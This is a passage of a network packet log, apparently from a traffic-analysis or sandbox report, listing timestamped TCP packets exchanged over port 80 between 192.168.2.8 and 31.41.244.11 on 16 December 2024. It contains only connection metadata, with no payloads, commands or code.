Dec 16, 2024 17:02:11.976594925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.976610899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.977652073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.977696896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.977864981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.977911949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.978691101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.978735924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.979358912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.979407072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.979880095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.979895115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.979931116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.979944944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.980953932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.980969906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.981004953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.981020927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.982120991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.982171059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.982532024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.982578039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.983253956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.983302116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.984507084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.984554052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.984587908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.984601974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.984630108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.984646082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.985342979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.985390902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.985698938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.985743046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.986284971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.986300945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.986330986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.986344099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.987340927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.987391949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.987915039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.987962008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.988447905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.988497019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.988811016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.988857985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.989484072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.989526987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.990303040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.990351915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.990607023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.990622997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.990653038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.990669012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.992094994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.992111921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.992145061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.992157936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.992806911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.992851973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.993103027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.993149042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.994265079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.994281054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.994311094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.994324923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.996270895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.996315956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.997351885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.997366905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.997397900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.997411013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.131762028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.131830931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.132188082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.132205009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.132235050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.132255077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.132806063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.132848024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.133215904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.133255959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.133275032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.133315086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.134272099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.134287119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.134310007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.134326935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.135268927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.135339022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.135365963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.135410070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.136265993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.136327982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.136334896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.136374950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.137315989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.137358904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.137514114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.137567997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.138360977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.138402939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.138535976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.138580084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.139533043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.139579058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.139650106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.139695883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.140517950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.140568018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.140806913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.140853882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.141659021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.141707897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.142445087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.142493963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.143078089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.143093109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.143126965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.143137932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.144016027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.144033909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.144068956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.144081116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.144810915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.144859076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.144901991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.144946098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.146068096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.146084070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.146117926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.146130085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.147118092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.147133112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.147167921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.147180080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.148258924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.148273945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.148308992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.148320913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.149214029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.149267912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.149310112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.149358034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.150275946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.150326014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.150393963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.150438070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.151310921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.151372910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.151405096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.151453018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.152551889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.152601957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.153038979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.153090000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.153774023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.153789043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.153835058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.153853893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.154829979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.154844999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.154881001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.154892921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.155841112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.155855894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.155889988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.155901909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.157058001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.157169104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.157212973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.157259941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.158570051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.158620119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.158751965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.158796072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.159827948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.159879923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.159914970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.159959078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.160856962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.160912037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.161142111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.161189079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.161725044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.161772013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.161916971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.161962986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.162719011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.162770033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.162806034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.162852049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.163873911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.163932085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.164027929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.164076090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.165263891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.165314913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.165352106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.165393114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.166523933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.166588068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.166743994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.166791916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.167664051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.167715073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.167717934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.167752981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.168771029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.168850899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.168853998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.168920040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.169946909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.170008898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.170083046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.170128107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.170994997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.171098948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.171125889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.171196938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.172096968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.172154903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.172276974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.172322989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.172950029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.173000097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.173088074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.173127890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.174102068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.174156904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.174468040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.174527884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.175385952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.175436974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.175632000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.175676107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.176373005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.176424026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.176559925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.176604986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.177414894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.177431107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.177499056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.178771973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.178819895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.178904057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.178965092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.180099964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.180155039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.180609941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.180660009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.181188107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.181205034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.181233883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.181252956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.182228088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.182276964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.182317972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.182357073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.183370113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.183423042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.183826923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.183876991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.184273958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.184314966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.184442997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.184484005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.185444117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.185493946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.185808897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.185854912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.186471939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.186518908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.186968088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.187017918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.187310934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.187364101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.187438965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.187475920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.188416958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.188462973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.188563108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.188608885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.189349890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.189393044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.324042082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.324083090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.324112892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.324146032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.324364901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.324414968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.324596882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.324652910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.325366020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.325432062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.325493097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.325546980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.326548100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.326584101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.326600075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.326627016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.327610970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.327663898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.327728033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.327776909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.328671932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.328726053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.328773975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.328821898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.329813004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.329848051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.329864025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.329891920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.330807924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.330859900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.330912113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.330952883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.331871986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.331923008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.332185984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.332233906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.333334923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.333383083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.333554029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.333600998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.334013939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.334063053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.334187031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.334245920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.335257053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.335290909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.335303068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.335342884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.336227894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.336277008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.336338043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.336385965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.337270975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.337326050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.337553978 CET	80	49708	31.41.244.11	192.168.2.8
